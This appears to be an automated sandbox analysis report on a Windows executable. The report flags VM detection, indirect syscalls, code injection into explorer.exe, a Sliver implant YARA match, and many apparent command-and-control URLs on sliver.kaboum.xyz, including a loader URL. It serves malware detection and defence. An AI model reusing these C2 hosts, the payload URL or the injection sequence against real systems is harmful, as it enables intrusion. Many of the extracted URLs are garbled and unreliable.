Source: C:\Users\user\Desktop\twjMb9cX64.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 869			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 879			Jump to behavior

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-108663

Source: C:\Users\user\Desktop\twjMb9cX64.exe

API coverage: 9.7 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Code function: 0_2_00007FF70FAE4C62 GetSystemInfo,

0_2_00007FF70FAE4C62

Source: explorer.exe, 00000004.00000003.3095422777.0000000009B82000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000004.00000000.2331272535.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
Source: explorer.exe, 00000004.00000000.2333678768.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: explorer.exe, 00000004.00000003.3095422777.0000000009B82000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000004.00000003.3095422777.0000000009B82000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: explorer.exe, 00000004.00000003.3095422777.0000000009B82000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.2333678768.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: explorer.exe, 00000004.00000002.3302305073.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000004.00000003.3095422777.0000000009B82000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000004.00000002.3301219872.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
Source: explorer.exe, 00000004.00000002.3302305073.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dX
Source: twjMb9cX64.exe, 00000000.00000003.2358441616.0000018F7641E000.00000004.00000020.00020000.00000000.sdmp, twjMb9cX64.exe, 00000000.00000003.2362191699.0000018F76423000.00000004.00000020.00020000.00000000.sdmp, twjMb9cX64.exe, 00000000.00000003.2360051792.0000018F76422000.00000004.00000020.00020000.00000000.sdmp, twjMb9cX64.exe, 00000000.00000003.2324438329.0000018F76424000.00000004.00000020.00020000.00000000.sdmp, twjMb9cX64.exe, 00000000.00000003.2362279723.0000018F76429000.00000004.00000020.00020000.00000000.sdmp, twjMb9cX64.exe, 00000000.00000003.2328304287.0000018F7641D000.00000004.00000020.00020000.00000000.sdmp, twjMb9cX64.exe, 00000000.00000003.2324730021.0000018F76414000.00000004.00000020.00020000.00000000.sdmp, twjMb9cX64.exe, 00000000.00000003.2325184934.0000018F76423000.00000004.00000020.00020000.00000000.sdmp, twjMb9cX64.exe, 00000000.00000003.2327713041.0000018F782A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
Source: explorer.exe, 00000004.00000000.2331272535.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
Source: twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F783FB000.00000004.00000020.00020000.00000000.sdmp, twjMb9cX64.exe, 00000000.00000003.2326467910.0000018F78202000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000004.00000002.3302305073.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000004.00000002.3302305073.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,p
Source: explorer.exe, 00000004.00000003.3095422777.0000000009B82000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: explorer.exe, 00000004.00000003.3095422777.0000000009B82000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0#{5-
Source: explorer.exe, 00000004.00000002.3301219872.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000004.00000000.2333678768.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000002.3303400773.000000000769A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Code function: 0_2_00007FF70FAE111E NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,CloseHandle,CloseHandle,memcpy,RtlFreeHeap,RtlFreeHeap,

0_2_00007FF70FAE111E

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Code function: 0_2_00007FF70FA31180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,GetStartupInfoA,

0_2_00007FF70FA31180

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 51.44.82.197 443

Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Memory allocated: C:\Windows\explorer.exe base: 102D0000 protect: page read and write

Jump to behavior

Changes memory attributes in foreign processes to executable or writable

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Memory protected: C:\Windows\explorer.exe base: 102D0000 protect: page execute

Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Code function: 0_2_00007FF70FA317F3 memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memset,memcpy,memcpy,memcpy,memcpy,memcpy,memset,RtlFreeHeap,memcpy,memcpy,OpenProcess,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,CloseHandle,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,

0_2_00007FF70FA317F3

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Thread created: C:\Windows\explorer.exe EIP: 102D0000

Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\twjMb9cX64.exe	NtQueryInformationProcess: Indirect: 0x7FF70FAE34CB	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	NtDeviceIoControlFile: Indirect: 0x7FF70FA66018	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	NtQueryInformationProcess: Indirect: 0x7FF70FAE1752	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	NtQueryInformationProcess: Indirect: 0x7FF70FAE3473	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	NtQueryInformationProcess: Indirect: 0x7FF70FAE184B	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	NtCreateFile: Indirect: 0x7FF70FA665D5	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	NtQuerySystemInformation: Indirect: 0x7FF70FAE458D	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Memory written: PID: 1028 base: 102D0000 value: E8

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Memory written: C:\Windows\explorer.exe base: 102D0000

Jump to behavior

Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memset,memcpy,memcpy,memcpy,memcpy,memcpy,memset,RtlFreeHeap,memcpy,memcpy,OpenProcess,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,CloseHandle,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError, explorer.exe[-]no process!		0_2_00007FF70FA317F3
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memset,memcpy,memcpy,memcpy,memcpy,memcpy,memset,RtlFreeHeap,memcpy,memcpy,OpenProcess,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,CloseHandle,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError, explorer.exe[-]no process!		0_2_00007FF70FA317F3

Source: twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F78484000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: explorer.exe, 00000004.00000002.3301761587.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.2329785241.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: twjMb9cX64.exe, 00000000.00000003.2324547900.0000018F781E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2331089596.0000000004B00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3301761587.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000002.3301761587.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.2329785241.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: twjMb9cX64.exe, 00000000.00000003.2324547900.0000018F781E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndg
Source: explorer.exe, 00000004.00000002.3301761587.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.2329785241.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.2329335338.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3301219872.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PProgman

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Code function: 0_2_00007FF70FAE2F73 GetProcessTimes,GetSystemTimes,GetProcessIoCounters,

0_2_00007FF70FAE2F73

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Sliver Implants

Source: Yara match	File source: 00000004.00000002.3317296206.000000C000100000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR

Remote Access Functionality

Yara detected Sliver Implants

Source: Yara match	File source: 00000004.00000002.3317296206.000000C000100000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR

Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAB7F03 bind,		0_2_00007FF70FAB7F03
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAB7A83 WSASocketW,WSAGetLastError,WSASocketW,SetHandleInformation,GetLastError,bind,WSAGetLastError,closesocket,WSAGetLastError,		0_2_00007FF70FAB7A83

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	712 Process Injection	1 Rootkit	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	11 Input Capture	1 Query Registry	Remote Desktop Protocol	11 Input Capture	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	712 Process Injection	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Software Packing	DCSync	4 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
twjMb9cX64.exe	18%	ReversingLabs
twjMb9cX64.exe	25%	Virustotal		Browse

Source	Detection	Scanner	Label
https://sliver.kaboum.xyz/javascript/javascripts/jscript/backbone.js?sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/javascript/javascript/jscript/backbone.js?z=22417500	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/umd/app.min.js?k=9h6771280	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascripts/js/app.min.js?u=297s61600	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/jscript/javascripts/javascript/backbone.js?n=8f418919	0%	Avira URL Cloud	safe
https://kernel32.dllwinhttp.dllavx512eravx512pfu=7966a1472avx512vlavx512bwavx512dq	0%	Avira URL Cloud	safe
https://_=4567r497t21HTTP/1.1HTTP/1.1eUser-AgentAccept-L_=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/js/js/js/jscript/array.js?x=61443060Mozilla/5.0	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/javascripts/backbone.js?m=592372t20	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/php/namespaces/db/samples.php?t=721425e9	0%	Avira URL Cloud	safe
https://s=8x22o523281HTTP/1.1HTTP/1.1eUser-AgentAccept-Ls=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/javascript/script/javascripts/javascript/app.js?k=56j965629	0%	Avira URL Cloud	safe
https://p=2v1499328SetPriorityClass1HTTP/1.1HTTP/1.1eSetStdHandleSetVolumeLabelWSizeofResourceTermin	0%	Avira URL Cloud	safe
https://j=77b3479851HTTP/1.1HTTP/1.1eUser-AgentAccept-Lj=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/script/javascripts/jscript/javascript/js/app.min.js?sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/php/namespaces/db/samples.php?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/script/umd/jscript/script/umd/app.js?	0%	Avira URL Cloud	safe
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Le=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://k=273625611HTTP/1.1HTTP/1.1eUser-AgentAccept-Lk=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://1wglShareListsHTTP/1.1HTTP/1.1User-AgenteAccept-Lz=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/js/jscript/javascript/jscript/script/backbone.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/umd/umd/umd/array.js?u=7966a1472	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/php/namespaces/db/samples.php?t=721425e9Mozilla/5.0	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/js/jscript/javascript/jscript/script/backbone.js?sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/javascripts/jscript/backbone.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascripts/js/app.min.js?u=297s61600Mozilla/5.0	0%	Avira URL Cloud	safe
https://2.5.2.5.292.5.29.2.5.29.192.2.52.5.2.5.292.5.29.2.5.29.152.2.5user-PC	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyzb	0%	Avira URL Cloud	safe
https://y=113v858r221HTTP/1.1HTTP/1.1eUser-AgentAccept-Ly=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyzhttps://sliver.kaboum.xyzhttps://sliver.kaboum.xyztime:	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/0123456789abcdefx	0%	Avira URL Cloud	safe
https://kernel32.dll	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/umd/js/javascript/javascript/app.min.js?_=4567r497t2	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/js/js/script.js?p=943p34348	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/script/array.js?x=9718174h0	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/php/namespaces/db/samples.php?Y	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/script/umd/jscript/script/umd/app.js?p=2v1499328	0%	Avira URL Cloud	safe
https://GetSecurityInfoImpersonateSelfc=812951331HTTP/1.1HTTP/1.1eUser-AgentAccept-Lc=Accept-Languag	0%	Avira URL Cloud	safe
https://word.office.comon	0%	Avira URL Cloud	safe
https://n=8f4189191HTTP/1.1HTTP/1.1eSoft_DottedWhite_SpaceInheritedUser-AgentAccept-Ln=complex64comp	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/javascript/javascript/jscript/backbone.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/jscript/javascripts/javascript/backbone.jss	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/script/javascripts/jscript/javascript/js/app.min.js?	0%	Avira URL Cloud	safe
https://globalRequestMsgchannelOpenMsgu=297s616001HTTP/1.1channelDataMsgwindowAdjustMsgHTTP/1.1eUser	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/umd/js/javascript/javascript/app.min.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/umd/app.min.js?y=16611822	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/West	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/jscript/javascripts/javascript/backbone.jssliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascripts/js/backbone.js	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/js/script/javascript/array.js?y=113v858r22	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascripts/js/app.min.js?	0%	Avira URL Cloud	safe
https://k=9h67712801HTTP/1.1HTTP/1.1eUser-AgentAccept-Lk=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/js/jscript/javascript/jscript/script/backbone.js?v=84539617	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/javascripts/backbone.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/javascripts/backbone.js?m=592372t20Mozilla/5.0	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascripts/js/backbone.js?j=53g331447	0%	Avira URL Cloud	safe
https://j=53g331447advapi32.dll1HTTP/1.1HTTP/1.1ecrypt32.dllUser-AgentAccept-Lj=dnsapi.dlliphlpapi.d	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/script/umd/jscript/script/umd/app.js?p=2v1499328Mozilla/5.0	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/script/jscript/jscript/app.js?c=81295133sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/script/javascripts/javascript/app.min.js?k=100708pl054	0%	Avira URL Cloud	safe
https://_=g661402p671HTTP/1.1HTTP/1.1eUser-AgentAccept-L_=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lv=SetWindowPosShowWindowTrackMouseEventTrackPopupMenuAcc	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/array.js?k=27362561	0%	Avira URL Cloud	safe
https://x=9718174h01HTTP/1.1HTTP/1.1eUser-AgentAccept-Lx=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/wglGetLayerPaletteEntrieswglSetLayerPaletteEntries	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/channel	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/namespaces/oauth/oauth/api/api.html?e_=5y8741670&j=1q5593623	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyze_=5y8741670&j=1q5593623	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascripts/js/backbone.js?j=53g331447Mozilla/5.0	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyzWinHttpSetTimeoutshttps://sliver.kaboum.xyzWinHttpGetProxyForUrl	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/script/jscript/jscript/app.js?c=81295133	0%	Avira URL Cloud	safe
https://k=56j9656291HTTP/1.1HTTP/1.1eUser-AgentAccept-Lk=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/js/js/js/jscript/array.js?x=61443060	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/script/javascripts/jscript/javascript/js/app.min.js?e=27952824	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/js/script/javascript/array.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/javascripts/jscript/backbone.js?s=8x22o52328	0%	Avira URL Cloud	safe
https://kaboum.xyz/artdonjon/loader.bin	100%	Avira URL Cloud	malware
https://sliver.kaboum.xyz/javascripts/umd/js/javascript/javascript/app.min.js?sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/7	0%	Avira URL Cloud	safe
https://2.5.2.5.29	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/js/script/javascript/array.js?y=113v858r22Mozilla/5.0	0%	Avira URL Cloud	safe
